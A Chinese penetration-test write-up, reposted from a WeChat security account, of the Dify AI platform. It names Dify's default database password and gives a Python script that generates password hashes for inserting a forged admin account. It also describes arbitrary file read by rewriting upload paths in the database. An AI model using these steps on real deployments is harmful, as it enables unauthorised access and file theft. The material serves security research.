关于一次dify的渗透

admin 2025年4月24日17:40:49评论3 views字数 2053阅读6分50秒阅读模式
https://github.com/langgenius/dify
ai目前最近很火,刚好工作中碰到了,就记录一下吧。
数据库权限入口
dify的账号密码是初始化登录的时候设置的,暂时不考虑账号的弱口令。但是dify的启动过程中,会开启psql和redis。默认密码是difyai123456.截图如下。可以尝试连接。本次的重点就是从这里开始的。
关于一次dify的渗透
丢一个默认的配置吧。没仔细研究但是看了应该是默认的。
关于一次dify的渗透
psql权限可以执行系统命令不再老生长谈。但是只是一个docker的权限,还能利用的操作空间不大。
关于一次dify的渗透
获取后台权限
拿到了数据库,我们的目前是dify web的数据或者权限。所以还是要回归web来。审计dify的代码发现,获取了数据库,可以通过数据库新增一个账号来进入后台。源代码如下,密码的规则如下
关于一次dify的渗透
那么可以去生成一个账号。细节不分析了 我这里直接贴代码
import secretsimport base64import hashlibimport binasciiimport uuid# 生成16字节的盐值def generate_salt():    return secrets.token_bytes(16)# 对密码进行哈希处理,返回加密后的密文def hash_password(password_str, salt_byte):    dk = hashlib.pbkdf2_hmac("sha256", password_str.encode("utf-8"), salt_byte, 10000)    return binascii.hexlify(dk)# 对结果进行base64编码def encode_base64(data):    return base64.b64encode(data).decode()# 密码加密和存储的主过程def encrypt_password(new_password):    # 生成盐值    salt = generate_salt()    # 密码哈希加密    password_hashed = hash_password(new_password, salt)    # 编码密码和盐值为base64格式    base64_password_hashed = encode_base64(password_hashed)    base64_salt = encode_base64(salt)    return base64_password_hashed, base64_salt# 模拟账户类class Account:    def __init__(self, password, salt):        self.password = password        self.password_salt = salt# 测试用例,设置密码new_password = "Dasiwoba1"  # 这里替换为你的密码# 获取加密后的密码和盐值encrypted_password, encrypted_salt = encrypt_password(new_password)# 创建账户对象,并存储加密信息account = Account(encrypted_password, encrypted_salt)# 输出加密结果print(uuid.uuid4())print("Encrypted Password (Base64):", account.password)print("Salt (Base64):", account.password_salt)
关于一次dify的渗透
接下来就可以去利用账号登录后台了。
accounts表 邮箱自己定义
关于一次dify的渗透
这里有两个坑
(1)密码必须要符合下面的规律,不然直接不通过。
关于一次dify的渗透
(2)注册的用户没有workplace 导致无法登录,代码如下,同样的方法,插入一条数据就好了。
关于一次dify的渗透
但是这里有join 所以需要插入三个表
关于一次dify的渗透
关于一次dify的渗透
关于一次dify的渗透
当完成了这一步,就可以进入后台了。
关于一次dify的渗透
任意文件读取
dify的后台我没有仔细看代码 简单github搜了一下,也没啥特别严重的漏洞。看数据库数据的时候,upload_files引起了我的注意。这里的key是个绝对路径
关于一次dify的渗透
看代码+看功能点费了点时间,主要是uuid看着不舒服 直接说结论吧。
上传的时候,保存到本地文件,然后去读取本地文件的内容再重新保存到库里。我们现在有数据库的权限,就可以通过数据库里修改文件地址,然后去读取,达到任意文件读取的目的。这里做个演示。
知识库-》新建知识库,这里会上传文件保存到数据库里
关于一次dify的渗透

然后在数据库upload_file中去修改文件为需要读取的文件

关于一次dify的渗透
点击上一步再继续,或者直接重放包都行。效果如下,达到了任意文件读取的效果。
关于一次dify的渗透
关于shell的话,环境目前碰到基本都是docker,信息太少了,而且只有一个文件读取。没有其他比较好的思路了。代码也没时间看完,不知道有没有其他的点。抛砖引玉吧。
由于图片需要高度打码+本地环境贴了一些 所以有些id可能对不上,有兴趣自己去搞。

原文始发于微信公众号(e0m安全屋):关于一次dify的渗透

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月24日17:40:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于一次dify的渗透https://cn-sec.com/archives/3995523.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息